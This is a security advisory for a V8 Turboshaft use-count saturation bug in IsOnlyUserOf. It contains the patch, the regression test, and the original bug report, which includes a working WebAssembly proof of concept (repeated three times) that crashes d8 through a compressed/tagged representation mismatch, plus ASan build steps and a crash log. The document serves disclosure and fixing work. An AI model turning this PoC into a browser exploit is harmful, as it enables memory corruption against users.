CVE-2026-4457
Overview
Background
- Turboshaft
- V8’s newer optimizing-compiler IR and backend, where WebAssembly (with
--no-liftoff) and JS are lowered to a sea-of-nodes-style graph ofOperations. - `saturated_use_count`
- a small saturating counter attached to each value/
Operationthat tracks how many times it is used; once uses exceed the counter’s cap it saturates and can no longer report the true count. - `IsOnlyUserOf`
- a helper (in
operations.cc) that answers whether the currentOperationis the sole user of a givenvalue, which optimizations rely on to safely mutate, reuse, or fold that value in place. - `SaturatedUint8`-style `IsOne()` / `IsSaturated()` / `Get()`
- accessors returning whether the count is exactly one, whether it has hit its cap, and its stored numeric value respectively.
Root Cause Analysis
IsOnlyUserOf decides sole-ownership by first returning true when value.saturated_use_count.IsOne(), and otherwise returning whether std::count(inputs().begin(), inputs().end(), graph.Index(value)) == value.saturated_use_count.Get(). The invariant this comparison assumes is that saturated_use_count.Get() equals the true number of uses, but once the counter saturates, Get() returns only the cap, which is a lower bound and no longer the real count. An attacker can inflate a value’s real use count past the saturation cap (the PoC issues 100 struct.get uses of the same local plus many br_table/br references) so that the number of times the value appears in this operation’s inputs() can equal the saturated cap while other, uncounted uses still exist elsewhere in the graph. In that state the equality holds and IsOnlyUserOf wrongly reports the operation as the exclusive user, licensing an optimization to treat the value as privately owned even though other operations still consume it.
The fix inserts if (value.saturated_use_count.IsSaturated()) return false; before the equality comparison, so a saturated (i.e. unknown-count) value conservatively reports “not the only user,” preventing the unsound transformation.
IsOnlyUserOf return a false positive; the fix bails out with false whenever the count is saturated, because saturation means the true use count is unknown and exclusivity cannot be proven.Attack Path
- Craft a Wasm function that saturates a value's use count
The PoC (
regress-488803413.js) builds a module with a struct global loaded into a local, then emits ~100struct.getuses plus a 256-deep block/br_tablestructure that references the same struct-typed value many times, driving itssaturated_use_countto the saturation cap. - Compile with the optimizing tier
Running under
--no-liftoffforces the function through Turboshaft, where value use counts are tracked with the saturating counter. - Trigger the false exclusivity check
During optimization,
IsOnlyUserOfis queried for the struct value; because the count is saturated,Get()returns the cap, which matches the number of occurrences in the operation’sinputs(), so the pre-patch code returnstrue. - Unsound optimization on a shared value An optimization that requires sole ownership then transforms/reuses the value in place despite remaining uses elsewhere, producing a mis-typed or aliased operand consistent with the Type Confusion bug class (inferred; the specific consuming optimization and sink are not shown in the diff).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/wasm/regress-488803413.js |
modified | |
iftest/mjsunit/wasm/regress-488803413.js |
modified |
Files Changed
src/compiler/turboshaft/operations.cctest/mjsunit/wasm/regress-488803413.js
Audit Directions
- Saturating-counter arithmeticAudit every consumer of
saturated_use_count/SaturatedUint8that reads.Get()or compares counts for correctness assumptions, since a saturated value silently underreports and any exact comparison against it is suspect. - Sole-ownership optimizationsReview Turboshaft (and Maglev) transformations gated on
IsOnlyUserOfor equivalent single-use predicates, verifying they fail safe when ownership cannot be proven rather than when a count merely matches. - Use-count inflation vectorsLook for language features (Wasm
br_table, repeatedstruct.get, large block nests) that let untrusted input push use counts to saturation, turning imprecise counters into exploitable ambiguity.
Patch
From 23ec84a323a2af8fcbbcdf37be3ea28a1c77f57b Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Mon, 02 Mar 2026 13:14:22 +0100
Subject: [PATCH] [turboshaft] Take use-count saturation into account in IsOnlyUserOf
Fixed: 488803413
Change-Id: I7cf0911de2338144e2d972a53c5787f186b43623
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7623257
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Nico Hartmann <nicohartmann@chromium.org>
Commit-Queue: Nico Hartmann <nicohartmann@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105521}
---
diff --git a/src/compiler/turboshaft/operations.cc b/src/compiler/turboshaft/operations.cc
index 4da92e5..76d8e9c 100644
--- a/src/compiler/turboshaft/operations.cc
+++ b/src/compiler/turboshaft/operations.cc
@@ -2365,6 +2365,7 @@
DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)),
1);
if (value.saturated_use_count.IsOne()) return true;
+ if (value.saturated_use_count.IsSaturated()) return false;
return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
value.saturated_use_count.Get();
}
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+ let res = [];
+ do {
+ let byte = v & 0x7f;
+ v >>= 7;
+ if (v !== 0) byte |= 0x80;
+ res.push(byte);
+ } while (v !== 0);
+ return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+ body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+ body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+ body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+ body.push(kExprEnd);
+ if (i === 0) {
+ body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+ } else {
+ body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+ }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+ .addLocals(wasmRefNullType(structType), 3)
+ .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+ .addBody([
+ kExprI32Const, 42,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 0,
+ kExprI32Const, 43,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 1
+ ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+ try { instance.exports.trigger(i); } catch(e) {}
+}
Regression Test / PoC
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+ let res = [];
+ do {
+ let byte = v & 0x7f;
+ v >>= 7;
+ if (v !== 0) byte |= 0x80;
+ res.push(byte);
+ } while (v !== 0);
+ return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+ body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+ body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+ body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+ body.push(kExprEnd);
+ if (i === 0) {
+ body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+ } else {
+ body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+ }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+ .addLocals(wasmRefNullType(structType), 3)
+ .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+ .addBody([
+ kExprI32Const, 42,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 0,
+ kExprI32Const, 43,
+ kGCPrefix, kExprStructNew, structType,
+ kExprGlobalSet, 1
+ ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+ try { instance.exports.trigger(i); } catch(e) {}
+}
Original Bug Report
Turboshaft saturated use-count misclassification causes Wasm compressed/tagged base mismatch SIGSEGV
VULNERABILITY DETAILS
Summary
A Turboshaft use-count saturation bug in Operation::IsOnlyUserOf causes incorrect ownership conclusions once an operation’s use count saturates at 255. In the WebAssembly decompression optimization path, this can keep a Phi value compressed while one of its inputs must remain tagged, producing a representation mismatch and invalid x64 addressing during generated code execution.
Detail
Root cause is in src/compiler/turboshaft/operations.cc:
bool Operation::IsOnlyUserOf(const Operation& value, const Graph& graph) const {
DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)), 1);
if (value.saturated_use_count.IsOne()) return true;
return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
value.saturated_use_count.Get();
}
value.saturated_use_count is SaturatedUint8 (src/compiler/turboshaft/operations.h) and saturates at 255. When the true use count is greater than 255, Get() still returns 255. If a specific user (here, a Phi) references the value exactly 255 times, IsOnlyUserOf returns true even though other users still exist.
This incorrect result is consumed in src/compiler/turboshaft/decompression-optimization.cc by DecompressionAnalyzer::MarkAddressingBase:
if (!input.Is<LoadOp>() || !base.IsOnlyUserOf(input, graph) ||
!input.Cast<LoadOp>().loaded_rep.IsCompressibleTagged()) {
keep_compressed = false;
break;
}
For the crafted Wasm graph, one LoadOp is used 355 times total (255 in the Phi + 100 elsewhere). Due to saturation, IsOnlyUserOf misreports sole ownership and the Phi is kept Compressed, while the same LoadOp still has other uses requiring tagged handling. That inconsistency propagates into instruction selection and register allocation, producing generated code that treats a full tagged pointer as a compressed-offset operand in a complex addressing form, leading to immediate invalid memory access in JIT code.
VERSION
V8 Commit: 7f3825903cdc2eb341462710172b73dc5ca9215d
ENVIRONMENT SETUP
Release ASan:
gn gen out/release_asan --args='is_asan=true is_debug=false v8_enable_test_features=false symbol_level=1'
ninja -C out/release_asan d8
REPRODUCTION CASE
- Save PoC as
repro.js:
d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
let emit_leb = (v) => {
let res = [];
do {
let byte = v & 0x7f;
v >>= 7;
if (v !== 0) byte |= 0x80;
res.push(byte);
} while (v !== 0);
return res;
};
let builder = new WasmModuleBuilder();
let structType = builder.addStruct([makeField(kWasmI32, true)]);
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
let body = [];
body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
for (let i = 0; i < 100; i++) {
body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
}
body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
body.push(kExprBlock, kWasmRefNull, structType);
for (let i = 0; i < 256; i++) {
body.push(kExprBlock, kWasmVoid);
}
body.push(kExprLocalGet, 0, kExprBrTable);
body.push(...emit_leb(255));
for (let i = 0; i < 255; i++) {
body.push(...emit_leb(i + 1));
}
body.push(...emit_leb(0));
for (let i = 255; i >= 0; i--) {
body.push(kExprEnd);
if (i === 0) {
body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
} else {
body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
}
}
body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
.addLocals(wasmRefNullType(structType), 3)
.addBody(body).exportFunc();
builder.addFunction("create", makeSig([], []))
.addBody([
kExprI32Const, 42,
kGCPrefix, kExprStructNew, structType,
kExprGlobalSet, 0,
kExprI32Const, 43,
kGCPrefix, kExprStructNew, structType,
kExprGlobalSet, 1
]).exportFunc();
let instance = builder.instantiate({});
instance.exports.create();
for (let i = 0; i <= 255; i++) {
try { instance.exports.trigger(i); } catch(e) {}
}
console.log("SUCCESS");
- Run:
out/release_asan/d8 --no-liftoff repro.js
CRASH LOG
Received signal 11 <unknown> 000000000000
==== C stack trace ===============================
out/release_asan/d8(__interceptor_backtrace+0x46)[0x61f78f250b86]
out/release_asan/d8(+0x62df500)[0x61f7941ab500]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x73fbf3245330]
[0x7eba3ebd0bb4]
[end of stack trace]
CREDIT INFORMATION
Reporter credit: Zhenpeng (Leo) Lin at depthfirst